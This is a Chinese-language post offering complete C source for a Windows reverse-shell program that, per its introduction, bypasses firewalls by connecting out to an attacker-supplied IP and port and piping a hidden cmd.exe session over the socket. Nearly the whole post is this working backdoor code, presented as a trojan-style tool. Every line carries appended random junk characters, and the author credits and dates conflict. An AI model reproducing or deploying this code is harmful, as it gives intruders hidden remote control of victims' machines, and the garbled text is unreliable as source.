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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kmW4:EA%  
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/* ============================== -f .,tM=  
Rebound port in Windows NT c)J%`i$  
By wind,2006/7 ;u JMG  
===============================*/ 7! Nsm  
#include Tk}]Gev  
#include j%kncGS  
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#pragma comment(lib,"wsock32.lib") M]^5s;y  
F8=+j_UGI  
void OutputShell(); By |4 m  
SOCKET sClient; .Mbz3;i0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?< +WG/(d  
@{Q4^'K"  
void main(int argc,char **argv) S[gx{Bxiw  
{ 7#XzrT]  
WSADATA stWsaData; {c'lhUB  
int nRet; ]Ze1s02(  
SOCKADDR_IN stSaiClient,stSaiServer; \e*]Ls#jS  
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if(argc != 3) %J(:ADu]  
{ I9Xuok!0>=  
printf("Useage:\n\rRebound DestIP DestPort\n"); ye&;(30Oq  
return; 9*g Z-#  
} jA1 +x:Wq  
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WSAStartup(MAKEWORD(2,2),&stWsaData); P:c w|Q  
M3\AY30L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 54 T`OE =  
/m1\iM\  
stSaiClient.sin_family = AF_INET; ,+k\p5P  
stSaiClient.sin_port = htons(0); K+eM   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L!92P{K  
Z@HEj_n  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^8WRqQdx  
{ 04ui`-c(  
printf("Bind Socket Failed!\n"); ^#pEPVkY  
return; H_a[)DT  
} >MZ/|`[M  
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stSaiServer.sin_family = AF_INET; X'ag)|5ot  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oH@78D0A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IGl9 g_18  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jy)/%p~  
{ ES[G  
printf("Connect Error!"); _BufO7 `.  
return; &C}*w2]0S  
} 4#D,?eA7  
OutputShell(); }BEB1Q}L  
} 81F9uM0  
\fOEqe*5SM  
void OutputShell() pa+hL,w{6  
{ #!=tDc &  
char szBuff[1024]; VbYdZCC  
SECURITY_ATTRIBUTES stSecurityAttributes; ZJoM?g~WFI  
OSVERSIONINFO stOsversionInfo; }f ?y* H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6tZI["\   
STARTUPINFO stStartupInfo; zLQx%Yg!  
char *szShell; }MySaL>  
PROCESS_INFORMATION stProcessInformation; >*bvw~y,  
unsigned long lBytesRead; ".%k6W<n  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5P bW[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mFeP9MfJ  
stSecurityAttributes.lpSecurityDescriptor = 0; I%):1\)  
stSecurityAttributes.bInheritHandle = TRUE; '/p4O2b,  
?6!LL5a.  
P}iE+Z 3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8ag!K*\ V<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T{ "(\X$  
lE;!TQj:X  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bA 2pbjg=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Qe0! (_=  
stStartupInfo.wShowWindow = SW_HIDE; Z+SRXKQ  
stStartupInfo.hStdInput = hReadPipe; \U0Q<ot/7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S:}7q2:  
+T ?NH9  
GetVersionEx(&stOsversionInfo); 6)J#OKZ  
st*gs-8jJ;  
switch(stOsversionInfo.dwPlatformId) /Oono6j  
{ Ri'n  
case 1:  ]~-r} `]  
szShell = "command.com"; @EAbF>>  
break; P>T"cv  
default: NK+o1   
szShell = "cmd.exe"; KvS G;  
break; 4i bc  
} xw%0>K[  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x-c"%Z|  
bt *k.=p  
send(sClient,szMsg,77,0); d9ihhqq3}  
while(1) Bvj0^fSm  
{ #ob/p#k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G}*hM$F  
if(lBytesRead) )u">it+  
{ *hrd5na  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V&i;\9  
send(sClient,szBuff,lBytesRead,0); sLFl!jX  
} [aS*%Heu  
else X&zis1A<  
{ E`q_bn  
lBytesRead=recv(sClient,szBuff,1024,0); YIE<pX4Q7)  
if(lBytesRead<=0) break; 9uY'E'm*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Tw% 3p=  
} 13PS2  
} zDp2g)  
a.'*G6~Qgw  
return; ^.tg7%dJ  
}
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